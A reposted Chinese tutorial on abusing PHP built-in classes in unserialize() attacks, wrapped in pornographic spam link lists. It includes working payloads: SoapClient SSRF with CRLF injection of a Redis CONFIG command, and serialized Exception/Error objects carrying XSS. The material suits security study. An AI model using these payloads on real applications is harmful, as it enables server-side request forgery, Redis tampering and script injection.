日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

php原生类,反序列化之PHP原生类的利用

發(fā)布時間:2025/3/8 php 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php原生类,反序列化之PHP原生类的利用 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

正文

文章圍繞著一個問題,如果在代碼審計中有反序列化點,但是在原本的代碼中找不到pop鏈該如何?

N1CTF有一個無pop鏈的反序列化的題目,其中就是找到php內(nèi)置類來進(jìn)行反序列化。

基礎(chǔ)知識

首先還是來回顧一下序列化中的魔術(shù)方法,下面也將以此進(jìn)行分類來進(jìn)行研究。

當(dāng)對象被創(chuàng)建的時候調(diào)用:__construct

當(dāng)對象被銷毀的時候調(diào)用:__destruct

當(dāng)對象被當(dāng)作一個字符串使用時候調(diào)用(不僅僅是echo的時候,比如file_exists()判斷也會觸發(fā)):__toString

序列化對象之前就調(diào)用此方法(其返回需要是一個數(shù)組):__sleep

反序列化恢復(fù)對象之前就調(diào)用此方法:__wakeup 當(dāng)調(diào)用對象中不存在的方法會自動調(diào)用此方法:__call

看一下當(dāng)前php本身內(nèi)置類有:

$classes = get_declared_classes();

foreach ($classes as $class) {

$methods = get_class_methods($class);

foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }

當(dāng)然有些類不一定能夠進(jìn)行反序列化,php中使用了zend_class_unserialize_deny來禁止一些類的反序列化,比如序列化DirectoryIterator的時候。

當(dāng)然這也和PHP版本也有一些關(guān)系,尋找的幾個類中,發(fā)現(xiàn)在php5.3以前都是沒有如此的限制。

__call

SoapClient

這個也算是目前被挖掘出來最好用的一個內(nèi)置類,php5、7都存在此類。

SSRF

$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();

但是它僅限于http/https協(xié)議,用處不是很大。

但是這里http頭部還存在crlf漏洞,可以再去drops回顧一下如何通過http來hack redis,Trying to hack Redis via HTTP requests

$poc = "CONFIG SET dir /root/";

$target = "http://example.com:5555/";

$b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa); //Test $c = unserialize($aaa); $c->notexists();

對于如何發(fā)送POST的數(shù)據(jù)包,這里面還有一個坑,就是content-type的設(shè)置,當(dāng)是可以看到上面的數(shù)據(jù)包,user_agent的頭部是在content-type的下面,所以我們可以通過SoapClient來設(shè)置user_agent,再使用crlf將content-type給往下擠。

來自wupco師傅的poc:

$target = "http://example.com:5555/";

$post_string = 'data=abc';

$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa);

__toString

Error

適用于php7版本

XSS

開啟報錯的情況下:

$a = new Error("");

$b = serialize($a);

echo urlencode($b);

//Test

$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D'); $c = unserialize($t); echo $c;

Exception

適用于php5、7版本

XSS

開啟報錯的情況下:

$a = new Exception("");

$b = serialize($a);

echo urlencode($b);

//Test

$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D'); echo unserialize($c);

實例化任意類

可調(diào)用任意類的時候找__construct的時候一些可用的類:

案例:pornhub某漏洞

可獲取目錄

DirectoryIterator

XXE

SimpleXMLElement

創(chuàng)建空白文件

SQLite3

know it then do it

轉(zhuǎn)載自:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

總結(jié)

以上是生活随笔為你收集整理的php原生类,反序列化之PHP原生类的利用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 久久免费精彩视频 | 国内外成人免费视频 | 99国产精品久久久久 | 国产欧美综合在线 | 黄色一级片国产 | 性感美女黄色片 | 久久人人爽人人爽人人片 | 久久国产乱子 | 亚洲欧美制服丝袜 | 欧美六区 | 卡一卡二在线视频 | 日韩免费黄色片 | 在线观看小视频 | 成人看片免费 | www.国产精品视频 | 日韩伊人网 | 天堂资源av | 男女一级特黄 | 97免费超碰 | 啪啪激情网 | 日本第一页 | 国产欧美一区二区精品性色超碰 | 国产精品1000部啪视频 | 亚洲av无码一区二区三区在线观看 | 91久久久久国产一区二区 | 久久尹人 | 一区二区三区四区国产 | 91嫩草香蕉| 在线观看国产亚洲 | 无码av免费毛片一区二区 | 色综合成人| 日韩av在线一区二区三区 | 日本精品在线观看 | 日本久久视频 | 91亚洲精品久久久蜜桃网站 | 国产不卡一区二区视频 | 免费在线黄 | 人人九九 | 尤物在线视频观看 | 国产精品jizz在线观看无码 | 偷拍亚洲视频 | 一级小毛片 | 香蕉视频在线观看视频 | 六月色婷 | 免费涩涩网站 | 国产欧美在线观看不卡 | av黄色免费在线观看 | 亚洲欧美激情图片 | 中文字幕乱码中文乱码b站 国产一区二区三区在线观看视频 | 一级视频在线免费观看 | 爱搞国产 | 欧美日韩视频免费观看 | 国产精品视频免费 | 91免费成人 | 日本欧美日韩 | 午夜影院免费 | 鲁丝一区二区三区 | 久久精品黄色 | 久草中文在线 | 青青青国产视频 | 国产伦精品一区二区三区视频孕妇 | 中文字幕中出 | 婷婷色吧 | 精品热 | 欧美精品videos极品 | 天堂网在线观看 | 三级在线国产 | 国产一区视频免费观看 | av先锋在线 | 亚洲国产无码久久 | 久久国产一区二区三区 | 欧美极品少妇xxxxⅹ免费视频 | 在线视频一区二区三区 | 日本少妇xxxxx | 荫道bbwbbb高潮潮喷 | 很黄的性视频 | 黄色a级片网站 | 日韩免费一二三区 | 国产成人在线精品 | 激情小说一区 | 国产亚洲在线 | 精品亚洲一区二区三区四区五区高 | 樱花草av | 91热热| 少妇饥渴难耐 | 国产av人人夜夜澡人人爽 | 蜜桃视频免费网站 | 国产乱妇4p交换乱免费视频 | 牛牛免费视频 | www.黄色国产| 成人片片 | 久久99久久99精品免观看软件 | 国产做爰视频免费播放 | 日本视频免费在线播放 | 亚洲素人| 国产精品18久久久久久vr下载 | 亚洲不卡中文字幕无码 | 污污网站在线免费观看 | 免费亚洲视频 |